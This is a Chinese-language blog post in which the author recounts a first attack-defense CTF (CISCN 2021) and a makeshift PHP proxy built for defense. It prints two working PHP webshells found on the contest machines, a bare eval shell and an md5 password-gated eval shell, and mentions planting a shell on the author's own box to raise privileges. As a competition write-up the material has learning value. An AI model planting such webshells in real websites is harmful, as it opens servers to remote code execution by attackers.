Mas0n
to be reverse engineer🐧
翻车鱼

AWD之初体验与心得

AWD之初体验与心得

其实,打完比赛后就有写了,只不过马上期末了,我这个菜鸟又只能跑去复习考试去了。

虽然现在重拾起来已经过去很久了,但是我还是要写。

打的是CISCN2021 华东南分区赛~ AWD赛制,令我惊讶的是360开场没有崩!?不过因为某队伍因为搅屎死循环马到处种,让360不得不重置后的第二天,赛方就说禁止种不死马,死循环马。

总体来说体验感还是好的~

以下之前写的:

打了快一年的CTF了也没有去尝试过AWD。找了个机会和队友去某企培训了几天,初步了解了一下AWD的赛制与攻防。但毕竟没有实战,还是缺乏攻防经验,第一天比赛手忙脚乱,硬是瞎着被打了半天才摸到了点门道。然后第二天的状态就比第一天好上很多,感觉得多打打AWD,多从攻防双角度思考。

Web

说实话,我一个玩逆向的,硬生生被叫去守Web = =,第一天开局我分配到的那题,给我来了个下马威,开局不过半小时,全场被攻击+宕机,看了看上传的文件,各种马…不过大多都是简单的md5普通马,也有少部分的不死马和内存马。或多或少都有混淆与修改。

有最简单的

https://cdn.shi1011.cn/2021/06/d7e2a7b9e1d40401dcd91cf7b2a1edeb.png?imageMogr2/format/webp/interlace/0/quality/90|watermark/2/text/wqlNYXMwbg/font/bXN5aGJkLnR0Zg/fontsize/14/fill/IzMzMzMzMw/dissolve/80/gravity/southeast/dx/5/dy/5
eval🐎
<?php eval($_POST['a']); ?>
https://cdn.shi1011.cn/2021/06/92a3ca616631a4fb7e5d5ed65749a8c1.png?imageMogr2/format/webp/interlace/0/quality/90|watermark/2/text/wqlNYXMwbg/font/bXN5aGJkLnR0Zg/fontsize/14/fill/IzMzMzMzMw/dissolve/80/gravity/southeast/dx/5/dy/5
md5🐎
<?php if(md5($_REQUEST["pass"])=="cc9d4bd985d59715999fca95701be702"){@eval($_REQUEST[a]);}else{die("flag{".md5(rand())."}");} ?>

也有搅屎的

https://cdn.shi1011.cn/2021/06/d304699e2d0f834283f05efa67569db0.png?imageMogr2/format/webp/interlace/0/quality/90|watermark/2/text/wqlNYXMwbg/font/bXN5aGJkLnR0Zg/fontsize/14/fill/IzMzMzMzMw/dissolve/80/gravity/southeast/dx/5/dy/5

也有杀进程 ?

https://cdn.shi1011.cn/2021/06/0f5b39602dab47255266471051398b5d.png?imageMogr2/format/webp/interlace/0/quality/90|watermark/2/text/wqlNYXMwbg/font/bXN5aGJkLnR0Zg/fontsize/14/fill/IzMzMzMzMw/dissolve/80/gravity/southeast/dx/5/dy/5

是不是感觉很水?

那莫,来点不一样的 嘿嘿


Proxy

没错,就是代理,你也许不知道代理是啥,或者轻蔑一笑:PHP转发代理?异想天开啊。

Yes!PHP转发代理。分区赛的第一天被大佬们锤炸后,我痛定思痛,捶胸顿足… 通宵写了一份粗糙的PHP版本的代理转发low版。

这个想法在我学习awd的赛制的时候就想到了,问了一下guoke师傅,他说应该不行把,然后我就放弃了…

回到通宵的那天,我首先想到最简单的就是使用php-curl来进行转发,然而事实是…靶机上的php并没有安装php-curl,思虑再三,突然想到,靶机上没有php-curl但是有curl啊!于是开始进一步发散思维~

Q1:怎么调用Curl呢?

shell_exec

于是很顺利的,把GET请求的部分写完了~

关于转发POST请求的想法

以我新手入门一天的参赛经验,我想到:绝大多数的漏洞在于普通的GET和POST,几乎很少有图片上传点。于是默认忽略了图片上传,撸了一个简单的转发POST函数。

Q2:怎么用

借鉴一下AWD中的WAF(比赛明令禁止使用WAF)的部署方式,撸一个文件遍历插入

<?php include_once("/var/www/html/awdProxy/proxy.php"); ?>

Q3:Check能过?

理论上,转发给正常的靶机,那么访问必定是正常的。事后我看了看流量,发现靶机的Check只是简单的GET访问了一些页面

那么做完上面这些思考和敲键盘的步骤,必然是要测试的。用虚拟机搭了2台apache+php的服务并部署相同的网站,其中一台启用转发后,大部分网页正常访问。普通的POST也能够通过。那么就达到了最初的设想。

不足与思考

美中不足的是,在一些情况下,代理转发并非正常,虽然响应依旧是200,但返回内容为空。没有特别完善。

二是,经验不足,不清楚其他相关比赛中,check机制是否一致。

三是,部署方式太过繁复,我试过写一个sh脚本部署,但是在实际应用过程中会发现,有些文件的所属用户组并非赛方提供的CTF权限。于是最后只好自己给自己种马,提权运行。

还有一个感触就是:若你有想法,请你思虑再三,与他人交流后还是认为可行,那就动手吧,毕竟实践出真知

本文链接:https://blog.shi1011.cn/ctf/1495
本文采用 CC BY-NC-SA 4.0 Unported 协议进行许可

Mas0n

文章作者

推荐文章

发表回复

textsms
account_circle
email

翻车鱼

AWD之初体验与心得
其实,打完比赛后就有写了,只不过马上期末了,我这个菜鸟又只能跑去复习考试去了。 虽然现在重拾起来已经过去很久了,但是我还是要写。 打的是CISCN2021 华东南分区赛~ AWD赛制,…
扫描二维码继续阅读
2021-06-30